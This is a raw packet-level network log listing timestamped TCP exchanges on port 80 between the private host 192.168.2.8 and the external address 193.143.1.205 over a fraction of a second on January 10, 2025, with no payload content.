Jan 10, 2025 20:35:07.490849972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.490911961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.491497040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503854036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503875971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503926039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503937960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503946066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.503950119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503962040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.503978014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.503978014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.504136086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504170895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504184961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504209042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.504247904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.504411936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504422903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504434109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504445076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504457951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.504496098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.536695004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536710978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536731005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536742926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536744118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.536757946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536771059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536791086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.536799908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.536799908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.536833048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.537045002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.537065983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.537106991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.540913105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574081898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574115992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574130058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574142933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574155092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574167013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574182987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574197054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.574197054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.574242115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.574439049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574450970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574464083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574486971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.574678898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574692965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574704885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574722052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.574737072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574748039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574759007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.574762106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.574790001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.575170040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.575186014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.575197935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.575208902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.575221062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.575225115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.575232029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.575253963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.575253963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611066103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611079931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611099005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611109972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611124992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611135960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611144066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611183882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611449957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611463070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611475945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611486912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611525059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611543894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611550093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611555099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611565113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611577034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611582994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611644030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611884117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611895084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611912012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611922026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611937046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611938953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611938953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.611947060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.611969948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612359047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612370014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612380981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612390995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612396002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612401962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612413883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612435102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612435102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612816095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612828016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612847090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612859964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612869978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612879992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612880945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612879992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612891912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612903118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612907887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612914085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612915993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612925053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612936974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612952948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.612981081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.612981081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.613878965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613889933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613902092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613914013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613919020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.613926888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613938093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613945961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.613950014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613960028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613962889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.613972902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613984108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.613991022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.613996983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614011049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614020109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.614048958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.614882946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614895105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614907026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614917040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614928961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614940882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614943981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.614943981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.614952087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614959002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614964962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614974976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.614979982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.614989042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615003109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615015984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.615046024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.615648031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.615895987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615910053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615921974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615932941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615943909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.615945101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615956068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615967035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615978003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.615978956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.615978003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.615991116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616004944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616015911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616028070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616035938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.616035938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.616051912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.616767883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616786003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616796017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616800070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.616806984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616818905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616828918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616849899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.616851091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.616849899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.616900921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.620043039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.623526096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623543978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623554945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623568058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623615980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.623615980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.623675108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623686075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623697042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623707056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.623734951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.623734951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.624572039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.628421068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628436089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628447056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628458977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628472090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628483057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628494978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.628519058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.628519058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.638870001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.649394035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.660850048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.660862923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.660882950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.660893917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.660896063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.660912037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.660931110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.660963058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661072969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661084890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661099911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661109924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661118031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661150932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661273956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661313057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661325932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661336899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661351919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661365032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661551952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661664963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661676884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661689997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661700010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661710978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661716938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661722898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661736012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.661737919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661775112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.661775112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.662220001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.662236929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.662281990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.662646055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.697825909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697841883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697861910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697874069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697884083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697894096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697907925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697911978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.697921038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.697936058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698039055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698337078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698348999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698359013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698369980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698380947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698391914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698398113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698406935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698420048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698441982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698879004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698890924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698901892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698915005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698919058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698925972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698937893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698942900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698950052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.698983908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.698983908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.699429989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699441910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699454069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699465036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699479103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699491024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699502945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699502945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.699502945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.699516058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.699553967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.699553967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.700141907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700159073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700170040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700181007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700186968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700196981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700210094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.700210094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.700210094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700222969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700237036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700248003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700252056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.700259924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700273037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.700274944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.700309038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.700357914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.701106071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701117039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701128006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701142073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701153994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701165915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701178074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701189041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701201916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701210976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.701210976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.701210976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.701211929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701224089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701229095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.701237917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.701257944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.701277018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.702099085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702110052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702120066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702131033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702142000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702147007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702157974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702169895 CET	80	49705	193.143.1.205	192.168.2.8
